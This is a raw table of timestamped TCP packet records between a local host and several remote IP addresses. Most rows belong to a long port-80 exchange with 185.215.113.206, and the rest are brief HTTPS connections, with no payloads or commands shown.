Nov 23, 2024 05:02:47.685667038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.690516949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.690576077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.690627098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.690675974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.695652008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.695667028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.695723057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.700644970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.700716019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.700716972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.700815916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.705667019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.705744982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.705770016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.705996037 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.710695982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.710762978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.710788012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.710839033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.715754986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.715821028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.715862989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.715922117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.720848083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.720880985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.720923901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.720923901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.725836992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.725903988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.725918055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.726116896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.731014013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.731038094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.731101990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.735872030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.735991001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.736054897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.740278959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.740341902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.740369081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.740411997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.744688988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.744750023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.744757891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.744810104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.749094009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.749160051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.749174118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.749211073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.753493071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.753555059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.753572941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.753613949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.757869005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.757929087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.757934093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.758011103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.762255907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.762310982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.762322903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.762567043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.766606092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.766719103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.766738892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.766762972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.770962954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.771034002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.802810907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.802858114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.802923918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.805092096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.805155039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.805170059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.805252075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.809475899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.809609890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.848038912 CET	49868	443	192.168.2.6	152.195.19.97
Nov 23, 2024 05:02:47.848083019 CET	443	49868	152.195.19.97	192.168.2.6
Nov 23, 2024 05:02:47.848159075 CET	49868	443	192.168.2.6	152.195.19.97
Nov 23, 2024 05:02:47.848346949 CET	49868	443	192.168.2.6	152.195.19.97
Nov 23, 2024 05:02:47.848361015 CET	443	49868	152.195.19.97	192.168.2.6
Nov 23, 2024 05:02:47.858227015 CET	49869	443	192.168.2.6	23.57.90.143
Nov 23, 2024 05:02:47.858258963 CET	443	49869	23.57.90.143	192.168.2.6
Nov 23, 2024 05:02:47.858549118 CET	49869	443	192.168.2.6	23.57.90.143
Nov 23, 2024 05:02:47.862190962 CET	49870	443	192.168.2.6	13.107.21.237
Nov 23, 2024 05:02:47.862247944 CET	443	49870	13.107.21.237	192.168.2.6
Nov 23, 2024 05:02:47.862334013 CET	49870	443	192.168.2.6	13.107.21.237
Nov 23, 2024 05:02:47.863078117 CET	49869	443	192.168.2.6	23.57.90.143
Nov 23, 2024 05:02:47.863109112 CET	443	49869	23.57.90.143	192.168.2.6
Nov 23, 2024 05:02:47.864242077 CET	49870	443	192.168.2.6	13.107.21.237
Nov 23, 2024 05:02:47.864259958 CET	443	49870	13.107.21.237	192.168.2.6
Nov 23, 2024 05:02:47.867644072 CET	49871	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:47.867698908 CET	443	49871	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:47.868063927 CET	49871	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:47.869052887 CET	49871	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:47.869071007 CET	443	49871	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:47.880810022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.880912066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.880955935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.880997896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.882524014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.882626057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.882647038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.882683039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.885293961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.885310888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.885344982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.885364056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.886605978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.886687994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.886734962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.889597893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.889661074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.889693975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.889693975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.892474890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.892534971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.892550945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.892586946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.895291090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.895406008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.895554066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.899977922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.899997950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.900032997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.900055885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.902731895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.902751923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.902797937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.905709028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.905774117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.905834913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.905877113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.908617020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.908636093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.908768892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.910954952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.911040068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.911264896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.911329031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.912715912 CET	443	49855	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.913063049 CET	49855	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:47.913081884 CET	443	49855	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.913846016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.913866043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.913903952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.913922071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.914239883 CET	443	49855	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.914340973 CET	49855	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:47.914830923 CET	49855	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:47.914904118 CET	443	49855	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.914975882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.915071011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.915128946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.916740894 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.917893887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.917912006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.917975903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.918006897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.918428898 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:47.918461084 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.919966936 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.920025110 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:47.920416117 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:47.920497894 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.923350096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.923464060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.923614025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.924654007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.924669027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.924734116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.926242113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.926297903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.926337957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.926476002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.929111958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.929173946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.929191113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.929209948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.931149960 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.931286097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.931377888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.931529045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.931756020 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:47.931772947 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.933465004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.933557034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.933703899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.935286045 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.935358047 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:47.935564041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.935625076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.935651064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.935745955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.935790062 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:47.935870886 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.937690973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.937761068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.937782049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.937990904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.939822912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.939855099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:47.939975023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.939975023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:47.958533049 CET	443	49854	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.958852053 CET	49854	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:47.958863020 CET	443	49854	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.960364103 CET	443	49854	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.960527897 CET	49854	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:47.960848093 CET	49854	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:47.960937023 CET	443	49854	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.961132050 CET	443	49853	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.961352110 CET	49853	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:47.961369991 CET	443	49853	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.961865902 CET	443	49853	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.962424994 CET	49853	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:47.962507963 CET	443	49853	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:47.990742922 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.991018057 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:47.991044998 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.995024920 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:47.995107889 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.000593901 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.000720024 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.001127958 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.001152039 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.006442070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.006462097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.006649971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.007376909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.007560015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.007630110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.009651899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.009732008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.009792089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.010601997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.010849953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.010868073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.010957956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.010957956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.012295008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.012357950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.012381077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.012573004 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.012614965 CET	443	49856	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:48.012892962 CET	49856	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:48.012912035 CET	443	49856	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:48.013972044 CET	443	49856	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:48.014077902 CET	49856	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:48.014631987 CET	49856	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:48.014703989 CET	443	49856	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:48.091619015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.091662884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.091722965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.091759920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.092504978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.092704058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.092755079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.094379902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.094439983 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.094468117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.094716072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.096420050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.096472979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.096518040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.098366976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.098385096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.098432064 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.100156069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.100312948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.100363016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.102077007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.102140903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.102142096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.102365971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.104022980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.104039907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.104093075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.105937958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.106010914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.106053114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.106195927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.107882977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.107918024 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.107942104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.107956886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.109730005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.109766960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.109802008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.109824896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.111677885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.111711025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.111778021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.113585949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.113635063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.113656044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.113717079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.115510941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.115571022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.115695953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.115847111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.117444038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.117499113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.117599964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.117804050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.119342089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.119421959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.119442940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.119538069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.121239901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.121315002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.121320009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.121469021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.123137951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.123209000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.123250961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.123331070 CET	443	49855	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:48.123406887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.123419046 CET	49855	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:48.125087976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.125188112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.125241041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.127007961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.127068043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.127101898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.127202034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.127336025 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:48.127476931 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:48.128946066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.129029036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.129075050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.129111052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.130821943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.130908012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.130929947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.130999088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.132705927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.132771969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.132812977 CET	80	49819	185.215.113.206	192.168.2.6
